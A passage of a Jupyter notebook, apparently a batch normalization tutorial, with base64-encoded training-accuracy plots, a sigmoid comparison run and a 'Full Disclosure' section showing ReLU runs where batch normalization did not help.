pd4rFOotlYzRwb3bSc2g8FgONno0acgIo+LSJRSqtZKXBctIr88\nHsL5BKejdUWzO8WF23xkMBgMwx1vHM0XK6Uq3R+UUhXAJb4Tycd4zBTcKS6igoeu39xgMBgGEm+U\ngl1EWgP7RSQYGLoruTxWNFfW66AqM1MwGAwGjTeO5peAj0Tkn4AAXwVe9KVQPsVjRbN7pmB8CgaD\nwaDxxtH8pIhsBxajcyCtAsb6WjCf4Wppmyk06JlCdKgxHxkMBgN4nyW1CK0QvgKcC+z25iIRuUhE\n9opItoj8sJtyp4qIQ0Su81KevuMRklpZ34KfTQgNsPdwkcFgMAwPupwpiEgqcJP1KgVeBUQptcib\nikXEDjwDnI9e27BRRJYppbI6Kfck8EGfWtAblALlbHM0N+iFa9Y+PwaDwTDs6W6msAc9K7hMKbVQ\nKfUUOu+Rt8wHspVSOVZqjFeAKzsp923gTaC4F3X3CVGW+Jb5qKq+xfgTDAaDwYPufArXoLfQ/ERE\nVqI79d4MqROBXI/PR4EFngVEJBG4GliE3u6zU0RkCbAEID4+noyMjF6I0UZ9TRUABw4fITcjg4P5\nDYiTPtc3VKitrT3p29iR4dhmGJ7tHo5tBt+1u0uloJT6/+3de3RV9bXo8e/Mm1eCgKZIEJBSEQhG\njIBBatCLgq3Pg4KHFqlFai0oyrUHhw4qHuxApCh6PUXbAtXmVFoEi4jHW4RUuQlCkEB4C4IQQJEg\nYCARsjPvH2tls5PsQNiwCNlrfsbIYL32b//mdpuZ9futNdc7wDsi0gznL/xxwCUi8ntggaqei+Ge\nl4D/UNXKUw3hqOrrwOsAmZmZmp2dHdGbfbzkPQA6f/8KOmdl88K6j+mQnER2dp35KCrk5uYS6WfW\nWPkxZvBn3H6MGbyL+7QTzap6VFX/W1VvA9KANcB/1KPtPUD7kPU0d1uoTOAtEdmJ87zm/xKRO+vT\n8UjEVLrDRyETzSl2j4IxxgSd0fMl3buZg3+1n8YqoIuIdMJJBsOAf6/RXvBZzyIyB1jknqF4QrTC\nWaiaUyg7YXczG2NMCM8eOqyqFSIyBue+hlhglqpuEJGH3P0zvXrvuoRONJ8IVFL6XYXdzWyMMSE8\nfRK9qi4GFtfYFjYZqOpIL/sCIUkhNp7DVgzPGGNq8dUzJ08OH8VbiQtjjAnDV0nh5ERzHIfLqorh\n2ZyCMcZU8VVSODmnEB9SNtvOFIwxpopPk0LcyaRgcwrGGBPks6TgzinExp186ppdkmqMMUE+Swqh\nw0fHEYEWSZ5egGWMMY2Kr5JCTGXVmYIzp5DSJJ6YGKuQaowxVXyVFKqdKZSd4CK78sgYY6rxaVKI\n5dCx43aPgjHG1ODPpODe0WxXHhljTHU+SwrV72i2exSMMaY6XyWF0NLZh44dt7uZjTGmBk+TgogM\nEpEtIrJNRCaE2X+HiKwTkUIRKRCR6z3tj3umEJBYjpRX2JyCMcbU4NlF+iISC7wKDMR5FOcqEVmo\nqhtDDvsQWKiqKiI9gb8BXT3rk1YC8K1T9sjmFIwxpgYvzxR6A9tU9XNVPY7zjOc7Qg9Q1VJVVXe1\nGaB4qOpM4bAlBWOMCcvLpNAO2B2yXuxuq0ZE7hKRzcB7wAMe9id49dHh75zcYyUujDGmugav8aCq\nC4AFIvJD4D+B/1XzGBEZDYwGSE1NJTc3N6L3uqT8GAAfF6wHYti+uQj5MjayjjcipaWlEX9mjZUf\nYwZ/xu3HmMG7uL1MCnuA9iHrae62sFT1IxG5XETaqOqBGvuCz4XOzMzU7OzsiDr0+RfzAPje5VfC\n2i3c3P86LmvdNKK2GpPc3Fwi/cwaKz/GDP6M248xg3dxezl8tAroIiKdRCQBGAYsDD1ARL4vIuIu\n9wISgRKvOlQ1fFRyzPm3VXMbPjLGmFCenSmoaoWIjAE+AGKBWaq6QUQecvfPBP4NGCEiJ4AyYGjI\nxPM5VzXRXHIsQEJcDM0Son/oyBhjzoSncwqquhhYXGPbzJDl54HnvexDKNEAxMRTcuwErZsl4J6k\nGGOMcfnvjubYeA4ePU6rZjZ0ZIwxNfkqKYhWOGcKpd9ZUjDGmDB8lhQCEBtHydHjtLakYIwxtfgv\nKcTEucNHiQ3dHWOMueD4LClUoDFxHDseoLVdjmqMMbX4KinEVAYIiHPBlQ0fGWNMbb5KCqIVVLhX\n4dpEszHG1OazpFBJBc4NazZ8ZIwxtfksKVRQoU7INtFsjDG1+SwpBDjuninY8JExxtTmq6QQU1nB\n8cpY4mOF5KQGrxpujDEXHF8lBdEA31XGcFFTq3tkjDHh+DIp2NCRMcaE52lSEJFBIrJFRLaJyIQw\n+4eLyDoRKRKRPBG5ytP+aIDySrErj4wxpg6eJQURiQVeBQYD3YD7RKRbjcN2ADeoajrOozhf96o/\n4Fx9VBaIsSuPjDGmDl6eKfQGtqnq56p6HHgLuCP0AFXNU9Vv3NUVOI/s9ExMZYBjFWJ3MxtjTB28\nvASnHbA7ZL0Y6HOK438OvB9uh4iMBkYDpKamRvyw6msCJyivjOHI13vIzf06ojYaIz8+2NyPMYM/\n4/ZjzOBd3BfEdZkiMgAnKVwfbr+qvo47tJSZmamRPqz6aH4lJ4jjmh5XkN2nQ4S9bXz8+GBzP8YM\n/ozbjzGDd3F7mRT2AO1D1tPcbdWISE/gj8BgVS3xsD9oZYCAxtjwkTHG1MHLOYVVQBcR6SQiCcAw\nYGHoASJyGTAf+KmqbvWwL877aQUniLWJZmOMqYNnZwqqWiEiY4APgFhglqpuEJGH3P0zgYlAa+C/\n3JvJKlQ106s+SWWACuLsPgVjjKmDp3MKqroYWFxj28yQ5VHAKC/7ECpGA1QQa8NHxhhThwtiovl8\niaGCgMSR0iS+obtiTMROnDhBcXEx5eXltfalpKSwadOmBuhVw/FjzFB33ElJSaSlpREfH9nvOX8l\nBQ0QFxdPTIzVPTKNV3FxMS1atKBjx461anh9++23tGjRooF61jD8GDOEj1tVKSkpobi4mE6dOkXU\nrn9qH6kSR4D4BBs6Mo1beXk5rVu3tqKOphYRoXXr1mHPIuvLP0mhMgBAgiUFEwUsIZi6nO13w0dJ\n4QQACYlJDdwRY4y5cPknKQScpJCUYPcoGBOpxx57jJdeeim4fssttzBq1MkLCMePH8/06dPZu3cv\nQ4YMAaCwsJDFi09ehPjMM88wbdq0c9KfOXPmsG/fvrD7Ro4cSadOncjIyKBr165MmjSpXu3t3bv3\ntMeMGTPmtG1lZ2eTmXnyCvuCgoJGcee1b5LCiQo3KSTa8JExkerXrx95eXkAVFZWcuDAATZs2BDc\nn5eXR1ZWFpdeeinz5s0DaieFc+lUSQHghRdeoLCwkMLCQv785z+zY8eO07Z3uqRwJvbv38/774ct\n6XZaFRUV56wfZ8I3Vx8dKj3KxUCTJBs+MtFj0rsb2Lj3SHA9EAgQGxt7Vm12uzSZ39zWPey+rKws\nHnvsMQA2bNhAjx492LdvH9988w1NmzZl06ZN9OrVi507d/LjH/+YTz/9lIkTJ1JWVsby5ct58skn\nAdi4cSPZ2dns2rWLcePG8cgjjwAwffp0Zs2aBcCoUaMYN25csK3169cDMG3aNEpLS+nRowcFBQWM\nGjWKZs2akZ+fT5MmTcL2u2ritVmzZgA8++yzvPvuu5SVlZGVlcVrr73G22+/TUFBAcOHD6dJkybk\n5+ezfv16Hn30UY4ePUpiYiIffvghAHv37mXQoEFs376du+66i6lTp4Z93yeeeILnnnuOwYMH1+rP\nL3/5SwoKCoiLi2P69OkMGDCAOXPmMH/+fEpLSwkEAkyaNInf/OY3tGzZkqKiIu69917S09OZMWMG\nR48eZeHChXTu3Ll+/2HryTdnCodLywBLCsacjUsvvZS4uDh27dpFXl4e1113HX369CE/P5+CggLS\n09OrXcyRkJDAs88+y9ChQyksLGTo0KEAbN68mQ8++ICVK1cyadIkTpw4werVq5k9ezaffPIJK1as\n4A9/+ANr1qypsy9DhgwhMzOTP/7xjxQWFoZNCE888QQZGRmkpaUxbNgwLrnkEgDGjBnDqlWrWL9+\nPWVlZSxatCjYXk5ODoWFhcTGxjJ06FBmzJjB2rVrWbJkSfA9CgsLmTt3LkVFRcydO5fdu3fXem+A\n6667joSEBJYtW1Zt+6uvvoqIUFRUxF//+lfuv//+YOL69NNPmTdvHv/6178AWLt2LTNnzmTTpk28\n+eabbN26lZUrVzJixAheeeWV+v6nqzffnCkcLj0GQNMmlhRM9Kj5F/35uGY/KyuLvLw88vLyePzx\nx9mzZw95eXmkpKTQr1+/erXxox/9iMTERBITE7nkkkv46quvWL58OXfddVfwr/m7776bjz/+mNtv\nvz3ivr7wwgsMGTKE0tJSbrrppuDw1rJly5g6dSrHjh3j4MGDdO/endtuu63aa7ds2ULbtm259tpr\nAUhOTg7uu+mmm0hJSQGgW7dufPHFF7Rv355wnn76aSZPnszzzz8f3LZ8+XLGjh0LQNeuXenQoQNb\ntzrl3wYOHEirVq2Cx1577bW0bdsWgM6dO3PzzTcD0L17d/Lz8yP+bOrimzOFQ25SaGZJwZizUjWv\nUFRURI8ePejbty/5+fnBX7j1kZh48oKP2NjYU46fx8XFUVlZGVyP5Br85s2bk52dzfLlyykvL+fh\nhx9m3rx5FBUV8eCDD55xm2fS/xtvvJGysjJWrFhRr7arkmK494qJiQmux8TEeDLv4Juk0Kejk9Vb\nJzdt4J4Y07hlZWWxaNEiWrVqRWxsLK1ateLQoUPk5+eHTQotWrTg22+/PW27/fv355133uHYsWMc\nPXqUBQsW0L9/f1JTU9m/fz8lJSV89913LFq0qFrbpaWlp227oqKCTz75hM6dOwcTQJs2bSgtLQ1O\niNfs6xVXXMG+fftYtWoV4JyFRfpL+Omnn64279C/f39ycnIA2Lp1K7t27eKKK66IqO1zzTdJoXmc\nApAQb5ekGnM20tPTOXDgAH379q22LSUlhTZt2tQ6fsCAAWzcuJGMjAzmzp1bZ7u9evVi5MiR9O7d\nmz59+jBq1Ciuvvpq4uPjmThxIr1792bgwIF07do1+JqRI0cybtw4MjIyKCsrq9Vm1ZxCz549SU9P\n5+6776Zly5Y8+OCD9OjRg1tuuSU4PFTV3kMPPURGRgaBQIC5c+cyduxYrrrqKgYOHBjxncK33nor\nF198cXD94YcfprKykvT0dIYOHcqcOXOqnRE0KFX17AcYBGwBtgETwuzvCuQD3wH/uz5tXnPNNRqR\n4tWqv0lW3bw4stc3YsuWLWvoLpx30Rzzxo0b69x35MiR89iTC4MfY1Y9ddzhviNAgdbjd6xnE80i\nEgu8CgzEeT7zKhFZqKobQw47CDwC3OlVP4Iq3dO+GKuQaowxdfFy+Kg3sE1VP1fV48BbwB2hB6jq\nflVdBZzwsB8O945mYn1zwZUxxpwxL39DtgNCL94tBvpE0pCIjAZGA6SmppKbm3vGbbT8Zh0ZwJp1\n6zm8K5JeNF6lpaURfWaNWTTHnJKSUufEbSAQqNekbjTxY8xw6rjLy8sj/v43ij+bVfV14HWAzMxM\njah+yLYKWAtX97oWLosoNzVaubm5jaLmyrkUzTFv2rSpznsR/PhsAT/GDKeOOykpiauvvjqidr0c\nPtoDhN7NkeZuaxgBd07Bho+MMaZOXiaFVUAXEekkIgnAMGChh+93am7pbJtoNsaYunmWFFS1AhgD\nfABsAv6mqhtE5CEReQhARL4nIsXA48DTIlIsIsl1t3oWghPNlhSMidT5LJ3dsWNH0tPTycjIID09\nnX/84x+nfc1vf/vb0x4zcuTIajes1UVEGD9+fHB92rRpPPPMM6d9XWPn6c1rqrpYVX+gqp1V9Tl3\n20xVnekuf6mqaaqarKot3eUjp241Qm2vYmuX0dA81ZPmjfGD8106e9myZRQWFjJv3rxgJdVTqU9S\nqK/ExETmz5/PgQMHInp9Q5W+Plv+GWBv3Zm97X7ED5q2Ov2xxjQW70+AL4uCq00CFWc/b/a9dBg8\nJewur0tn1+XIkSNcdNFFwfU777yT3bt3U15ezi9+8QseeeQRJkyYQFlZGRkZGXTv3p2cnBzeeOMN\npk2bhojQs2dP3nzzTQA++ugjpk+fzpdffsnUqVODZzWh4uLiGD16NC+++CLPPfdctX07d+7kgQce\n4MCBA1x88cXMnj2byy67jJEjR5KUlMSaNWvo168fycnJ7Nixg88//5xdu3bx4osvsmLFCt5//33a\ntWvHu+++S3z8hTV64ZsyF8aYs+dl6exwBgwYQI8ePbjhhhuYPHlycPusWbNYvXo1BQUFzJw5k5KS\nEqZMmUKTJk0oLCwkJyeHDRs2MHnyZJYuXcratWuZMWNG8PX79u1j+fLlLFq0iAkTJtQZ769+9Sty\ncnI4fPhwte1jx47l/vvvZ926dQwfPrxaUisuLiYvL4/p06cDsH37dpYuXcrChQv5yU9+woABAygq\nKqJJkya89957Z/Dpnx/+OVMwJhrV+Iu+rBGXzk5LS6t13LJly2jTpg3bt2/npptuIjs7m+bNm/Py\nyy+zYMECAPbs2cNnn31G69atq7126dKl3HPPPcF6TKHlqO+8805iYmLo1q0bX331VZ39TE5OZsSI\nEbz88svVnteQn5/P/PnzAfjpT3/Kr3/96+C+e+65p9qDjgYPHkx8fDzp6ekEAgEGDRoEOPWidu7c\nWa/P63yypGCMOSM1S2e3b9+e3/3udyQnJ/Ozn/2sXm2cSelpcJ4jkJqaysaNGzl27BhLliwhPz+f\npk2b0r9//7Mqfe2UBarbuHHj6NWrV71jq6v0dUxMDPHx8YhIcP1CnHew4SNjzBnxqnT2qezfv58d\nO3bQoUMHDh8+zEUXXUTTpk3ZvHlzsLQ1QHx8fHAo6sYbb+Tvf/87JSUlABw8eDCi927VqhX33nsv\nf/rTn4LbsrKyeOuttwDIycmhf//+kYZ2wbGkYIw5I16Vzg5nwIABZGRkMGDAAKZMmUJqaiqDBg2i\noqKCK6+8kgkTJlQrfT169Gh69uzJ8OHD6d69O0899RQ33HADV111FY8//njEMY8fP77aVUivvPIK\ns2fPDk5eh85XNHZyulOnC01mZqYWFBRE9NpoLn1wKn6MO5pj3rRpE1deeWXYfX4s+eDHmOHUcYf7\njojIalXNPF27dqZgjDEmyJKCMcaYIEsKxjRCjW3Y15w/Z/vdsKRgTCOTlJRESUmJJQZTi6pSUlJC\nUlJSxG3YfQrGNDJpaWkUFxfz9ddf19pXXl5+Vr8QGiM/xgx1x52UlBT2RsD6sqRgTCMTHx9Pp06d\nwu7Lzc2N+OEqjZUfYwbv4vZ0+EhEBonIFhHZJiK1CoyI42V3/zoR6eVlf4wxxpyaZ0lBRGKBV4HB\nQDfgPhHpVuOwwUAX92c08Huv+mOMMeb0vDxT6A1sU9XPVfU48BZwR41j7gDeUMcKoKWItPWwT8YY\nY07ByzmFdsDukPVioE89jmkH7As9SERG45xJAJSKyJYI+9QGiOyJGY2bH+P2Y8zgz7j9GDOcedwd\n6nNQo5hoVtXXgdfPth0RKajPbd7Rxo9x+zFm8GfcfowZvIvby+GjPUD7kPU0d9uZHmOMMeY88TIp\nrAK6iEgnEUkAhgELaxyzEBjhXoXUFzisqvtqNmSMMeb88Gz4SFUrRGQM8AEQC8xS1Q0i8pC7fyaw\nGLgV2AYcA+r3FIvInfUQVCPlx7j9GDP4M24/xgwexd3oSmcbY4zxjtU+MsYYE2RJwRhjTJBvksLp\nSm5c6ERklojsF5H1Idtaicg/ReQz99+LQvY96ca6RURuCdl+jYgUufteFvcp4iKSKCJz3e2fiEjH\n8xlfOCLSXkSWichGEdkgIo+626M97iQRWSkia924J7nbozpucCohiMgaEVnkrvsh5p1ufwtFpMDd\n1nBxq2rU/+BMdG8HLgcSgLVAt4bu1xnG8EOgF7A+ZNtUYIK7PAF43l3u5saYCHRyY491960E+gIC\nvA8Mdrc/DMx0l4cBcy+AmNsCvdzlFsBWN7Zoj1uA5u5yPPCJ2/eojtvty+PAfwOL/PAdd/uyE2hT\nY1uDxd3gH8h5+tCvAz4IWX8SeLKh+xVBHB2pnhS2AG3d5bbAlnDx4VwBdp17zOaQ7fcBr4Ue4y7H\n4dwpKQ0dc434/wEM9FPcQFPgU5xqAFEdN859Sh8CN3IyKUR1zG5fdlI7KTRY3H4ZPqqrnEZjl6on\n7+v4Ekh1l+uKt527XHN7tdeoagVwGGjtTbfPnHvKezXOX81RH7c7jFII7Af+qap+iPsl4NdAZci2\naI8ZQIElIrJanJI+0IBxN4oyF+b0VFVFJCqvLxaR5sDbwDhVPeIOlQLRG7eqBoAMEWkJLBCRHjX2\nR1XcIvJjYL+qrhaR7HDHRFvMIa5X1T0icgnwTxHZHLrzfMftlzOFaC2n8ZW4VWXdf/e72+uKd4+7\nXHN7tdeISByQApR41vN6EpF4nISQo6rz3c1RH3cVVT0ELAMGEd1x9wNuF5GdOBWVbxSRvxDdMQOg\nqnvcf/cDC3AqTDdY3H5JCvUpudEYLQTud5fvxxlzr9o+zL3qoBPO8ypWuqejR0Skr3tlwogar6lq\nawiwVN1ByIbi9vFPwCZVnR6yK9rjvtg9Q0BEmuDMo2wmiuNW1SdVNU1VO+L8/7lUVX9CFMcMICLN\nRKRF1TJwM7Cehoy7oSdZzuNkzq04V69sB55q6P5E0P+/4pQUP4EzXvhznHHBD4HPgCVAq5Djn3Jj\n3YJ7FYK7PdP90m0H/g8n72pPAv6OU3JkJXD5BRDz9TjjreuAQvfnVh/E3RNY48a9Hpjobo/quEP6\nnM3Jieaojhnnisi17s+Gqt9NDRm3lbkwxhgT5JfhI2OMMfVgScEYY0yQJQVjjDFBlhSMMcYEWVIw\nxhgTZEnBNGoi0tqtLlkoIl+KyJ6Q9YR6tjFbRK44zTG/EpHh56bXYdu/W0S6etW+MfVll6SaqCEi\nzwClqjqtxnbB+a5Xhn3hBcC9e3eeqr7T0H0x/mZnCiYqicj3xXkOQw7OTUFtReR1ESkQ5xkFE0OO\nXS4iGSISJyKHRGSKOM8yyHfr0SAik0VkXMjxU8R55sEWEclytzcTkbfd953nvldGmL694B6zTkSe\nF5H+ODflveie4XQUkS4i8oFbJO0jEfmB+9q/iMjv3e1bRWSwuz1dRFa5r18nIpd7/Rmb6GQF8Uw0\n6wqMUNWqB5dMUNWDbv2XZSIyT1U31nhNCvAvVZ0gItOBB4ApYdoWVe0tIrcDE3FqE40FvlTVfxOR\nq3BKXld/kUgqTgLorqoqIi1V9ZCILCbkTEFElgGjVHW7iPTDuUP1ZreZ9sC1OCUOlojI93Fq5k9T\n1bkikohTU9+YM2ZJwUSz7VUJwXWfiPwc53t/Kc4DS2omhTJVfd9dXg30r6Pt+SHHdHSXrweeB1DV\ntSKyIczrDuKUhv6DiLwHLKp5gFv3qC/wtpysCBv6/+rf3KGwLSKyGyc55AFPi0gHYL6qbquj38ac\nkg0fmWh2tGpBRLoAjwI3qmpP4H9wasLUdDxkOUDdfzh9V49jalHVEzg1at4B7gTeC3OYAAdUNSPk\nJ7R0ds2JQFXVN4G73H79j4j8sL59MiaUJQXjF8nAtziVJNsCt5zm+Ej8P+BecMb4cc5EqnErYiar\n6iLgMZwHB+H2rQWAqn4D7BORu9zXxLjDUVXuEccPcIaSPhORy1V1m6rOwDn76OlBfMYHbPjI+MWn\nOENFm4EvcH6Bn2uvAG+IyEb3vTbiPOUqVAow3x33j8F5JjE4VXBfE5HxOGcQw4Dfu1dUJQB/wamk\nCU59/AKgOTBaVY+LyL+LyH04VXT3As94EJ/xAbsk1ZhzxJ3AjlPVcne46v8CXdR5BOK5eg+7dNV4\nys4UjDl3mgMfuslBgF+cy4RgzPlgZwrGGGOCbKLZGGNMkCUFY4wxQZYUjDHGBFlSMMYYE2RJwRhj\nTND/BxKdwD+d+NuJAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7131c5c0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 2, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In this case, the network with batch normalization trained faster and reached a higher accuracy. Meanwhile, the high learning rate makes the network without normalization bounce around erratically and have trouble getting past 90%." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Full Disclosure: Batch Normalization Doesn't Fix Everything\n", "\n", "Batch normalization isn't magic and it doesn't work every time. Weights are still randomly initialized and batches are chosen at random during training, so you never know exactly how training will go. Even for these tests, where we use the same initial weights for both networks, we still get _different_ weights each time we run.\n", "\n", "This section includes two examples that show runs when batch normalization did not help at all.\n", "\n", "**The following creates two networks using a ReLU activation function, a learning rate of 1, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 20, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:36<00:00, 1386.17it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.11259999126195908\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:35<00:00, 523.58it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.09879998862743378\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.11350000649690628\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.10099999606609344\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYUAAAEWCAYAAACJ0YulAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xl8FPX5wPHPs0cuEgLhCPeNIIdSjHdpE/EA612qWC+s\nSNHi0aotVuvR2lat9ai1perPq6WC9USLZwUvQEEFuZGbcCcBch+7+/z+mMmyCSHZBJYQ9nm/Xvti\nZ+Y7M99ns+wz8/3OfEdUFWOMMQbA09wVMMYYc/iwpGCMMSbMkoIxxpgwSwrGGGPCLCkYY4wJs6Rg\njDEmzJLCEUxEeomIiojPnX5bRK6KpmwT9vVrEXn6QOprYkNEpojIb5q7Hg0RkWwRWXqwy5rGEbtP\n4fAlIu8AX6jqXbXmnw/8A+imqoF61u8FrAP89ZVrQtls4F+q2q3BIA4Sd5+zgMmq+sCh2u+hJCL3\nAHcA5e6srcB7wO9VdWtz1asuIjICeLt6EkgBSiKKDFLVjYe8YuaA2ZnC4e154HIRkVrzrwCmNvTj\nfYS5CigArjzUO27q2VMTTVfVNCADuBDoBHwpIp2bsjER8R7MylVT1U9UNVVVU4HB7uw21fNqJwQR\n8YiI/d60APZHOry9DrQDRlTPEJG2wDnAC+70D0TkaxEpFJFN7tFmnURktoiMd997ReQhEckTkbXA\nD2qVvVpElotIkYisFZGfuvNb4RwhdhGRYvfVRUTuEZF/Rax/nogsFZHd7n6Pjli2XkRuFZFvRGSP\niEwXkaR66t0KGAP8DOgvIlm1ln9XROa4+9okIuPc+cki8mcR2eDu51N3XraI5NbaxnoROd19f4+I\nvCwi/xKRQmCciJwgInPdfWwVkb+KSELE+oNF5H0RKRCR7W5zWicRKRWRdhHlhovIThHx7y9eAFWt\nUtWlwCXATuAWd/1xIvJprbqriPRz3z8nIn8XkZkiUgLkuPPuc5dni0iuiNwiIjvcWK6O2FY7EXnT\n/T7NF5H7au8vWu7n/TsRmYtzFtFDRMZHfK/WVH8f3fKni8j6iOlcEfmFiCx2/34vikhiY8u6y28X\nkW0isllErnU/s15NietIZ0nhMKaqZcBL1Dw6vhhYoaqL3OkSd3kbnB/260Tkgig2fy1OcvkOkIXz\noxtph7u8NXA18IiIDFfVEmA0sCXiqHBL5IoichTwInAz0AGYCbwZ+SPqxjEK6A0cA4yrp64XAcXA\nf4B3cc4aqvfVEydJPe7uaxiw0F38EHAccArOkfcvgVB9H0qE84GXcT7XqUAQ+DnQHjgZGAlc79Yh\nDfgAeAfoAvQD/qeq24DZbqzVrgCmqWpVNJVQ1SDwBhEHBlH4MfB7IA2o6we9E5AOdAWuAZ4Q52AD\n4Amc71QnnM+5zj6oRrgC+AnO9ygX2I7zPW2N8x18XESOqWf9i4EzgD44f8srGltWRM4BbgBygKOA\n05oezpHPksLh73lgTMSR9JXuPABUdbaqLlbVkKp+g/Nj/P0otnsx8KiqblLVAuCPkQtV9b+qukYd\nH+G0bUf7w3QJ8F9Vfd/98XsISMb5ca72F1Xd4u77TZwf8/25CqdZJQj8GxgbcaT9Y+ADVX3RPbrO\nV9WF4jRV/AS4SVU3q2pQVeeoakWUMcxV1dfdz7VMVb9U1XmqGlDV9Th9OtWf8znANlX9s6qWq2qR\nqn7uLnseuBzCTTmXAv+Msg7VtuAktWi9oaqfuXUvr2N5FfBb9/OaiZNwB7j1+yFwt6qWquoyIr5r\nTfSMqi539xVQ1TdVda37vfoQ+B/1f68eVdVtqpoPvEX935P9lb0Y+D+3HiXAvQcY0xHNksJhTlU/\nBfKAC0SkL3ACzg8jACJyoojMcpsk9gATcY5mG9IF2BQxvSFyoYiMFpF5bnPIbuDsKLdbve3w9lQ1\n5O6ra0SZbRHvS4HUujYkIt1xjvCmurPeAJLY29zVHVhTx6rt3XJ1LYtG5GeDiBwlIm+5TRCFwB/Y\n+3nsrw7V9R0kIr1xjmL3qOoXjaxLV5z+lGhtamB5fq3+qOrPvwPgq7V+Q9tqVF1E5BwR+Tzie3Um\n9X+vovqeNFC29nf9QGM6ollSaBlewDlDuBx4V1W3Ryz7NzAD6K6q6cAUnKtBGrIV58esWo/qN25b\n7Cs4R/iZqtoGpwmoersNXbK2BegZsT1x97U5inrVdgXO9/RNEdkGrMX5sa9u1tgE9K1jvTycq3jq\nWlaCc7VMdf28OD+IkWrH+HdgBdBfVVsDv2bv57EJp8liH+6R+ks4f7sraORZgnvGcy7wyX7q3qmu\n3TZmHxF2AgEg8qqy7vspG61wXUQkGadJ7o/s/V69R3Tf1wOxlYMb0xHNkkLL8AJwOk4bbO3T+TSg\nQFXLReQEnOaUaLwE3Cgi3dz25MkRyxKARNwfCREZjXNEV2070E5E0uvZ9g9EZKTbzHMLUAHMibJu\nka7COd0fFvH6IXC224E7FThdRC4WEZ/bUTrMPTt5BnhYnI5wr4ic7Ca8VUCSOJ30fuBON976pAGF\nQLGIDASui1j2FtBZRG4WkUQRSROREyOWv4DTZ3IeUSYFN5ajcZoDOwEPu4sWAYNFZJjbpHhPNNuL\nhts89ypwj4ikuHEezKu9EnG+WzuBoNvWP/Igbn9/XgKuEZEBIpICHPb3bDQnSwotgNuGPQdohXNW\nEOl64LciUgTchfMfIBpP4XTaLgK+wvkxqN5fEXCju61dOIlmRsTyFTg/VmvFuRqnS636rsQ5Mn4c\n54j9XOBcVa2Msm4AiMhJOGccT7htxdWvGcBq4FL30sezcRJPAU4n87HuJm4FFgPz3WUPAB5V3YPz\nuT2Nc/ZSgtMJWp9b3c+hCOezmx4RbxFO09C5OE0Y3+I0eVUv/wyng/srVa3RTFeHS0SkGNiD85nn\nA8dVd+ar6irgtzgd299Sd0fygZiE0wm9DSeBvYiT0A+Yqu7G6ax/DefvMQYnocaUqr6Jc6b3Mc5n\n9pm76KDEdaSxm9eMOQRE5EPg36raou76FpEHgE6qeqBXIR02RGQozoFQontGaSLYmYIxMSYixwPD\niTi7OFyJyEAROUYcJ+Bcsvpac9frQInIhSKSICIZwP04V2hZQqhDzJKCiDwjzs0xS/azXETkLyKy\nWpybmIbHqi7GNBcReR6nqedmt5npcJeG05RYgpPE/oxzBVVL9zOcpszVOBcg/Kx5q3P4ilnzkYh8\nD+f65xdUdUgdy8/GuaHkbOBE4DFVPbF2OWOMMYdOzM4UVPVj6r+2+nychKGqOg9oI00c38UYY8zB\ncSgH+qqtKzVvIsl15+0zGqSITAAmACQnJx/XvXvTLjMOhUJ4PPHXjRKPccdjzBCfccdjzND4uFet\nWpWnqrXvx9lHcyaFqKnqk8CTAFlZWbpgwYImbWf27NlkZ2cfxJq1DPEYdzzGDPEZdzzGDI2PW0Qa\nuhwaaN6rjzZT887CbjTtjldjjDEHSXMmhRnAle5VSCfhjAlzWD1IxBhj4k3Mmo9E5EUgG2gvztj1\ndwN+AFWdgjOWztk4l4iV4gzPbIwxphnFLCmo6qUNLFfsWmFjjDmsxF+XvTHGmP2ypGCMMSbMkoIx\nxpgwSwrGGGPCLCkYY4wJs6RgjDEmzJKCMcaYMEsKxhhjwiwpGGOMCbOkYIwxJsySgjHGmDBLCsYY\nY8IsKRhjjAmLaVIQkVEislJEVovI5DqWtxWR10TkGxH5QkSGxLI+xhhj6hezpCAiXuAJYDQwCLhU\nRAbVKvZrYKGqHgNcCTwWq/oYY4xpWCzPFE4AVqvqWlWtBKYB59cqMwj4EEBVVwC9RCQzhnUyxhhT\nj5g9ZAfoCmyKmM4FTqxVZhFwEfCJiJwA9MR5VvP2yEIiMgGYAJCZmcns2bObVKHi4uImr9uSxWPc\n8RgzxGfc8RgzxC7uWCaFaNwPPCYiC4HFwNdAsHYhVX0SeBIgKytLs7Ozm7Sz2bNn09R1W7J4jDse\nY4b4jDseY4bYxR3LpLAZ6B4x3c2dF6aqhbjPZhYRAdYBa2NYJ2OMMfWIZZ/CfKC/iPQWkQRgLDAj\nsoCItHGXAYwHPnYThTHGmGYQszMFVQ2IyCTgXcALPKOqS0Vkort8CnA08LyIKLAUuCZW9THGGNOw\nmPYpqOpMYGateVMi3s8FjoplHYwxxkTP7mg2xhgTZknBGGNMmCUFY4wxYZYUjDHGhFlSMMYYE2ZJ\nwRhjTJglBWOMMWGWFIwxxoRZUjDGGBNmScEYY0yYJQVjjDFhlhSMMcaEWVIwxhgTFtOkICKjRGSl\niKwWkcl1LE8XkTdFZJGILBWRq2NZH2OMMfWLWVIQES/wBDAaGARcKiKDahX7GbBMVY8FsoE/Rzx0\nxxhjzCEWyzOFE4DVqrpWVSuBacD5tcookOY+ijMVKAACMayTMcaYeoiqxmbDImOAUao63p2+AjhR\nVSdFlEnDeUTnQCANuERV/1vHtiYAEwAyMzOPmzZtWpPqVFxcTGpqapPWbcniMe54jBniM+54jBka\nH3dOTs6XqprVULmYPnktCmcBC4HTgL7A+yLySe3nNKvqk8CTAFlZWZqdnd2knc2ePZumrtuSxWPc\n8RgzxGfc8RgzxC7uWDYfbQa6R0x3c+dFuhp4VR2rgXU4Zw3GGGO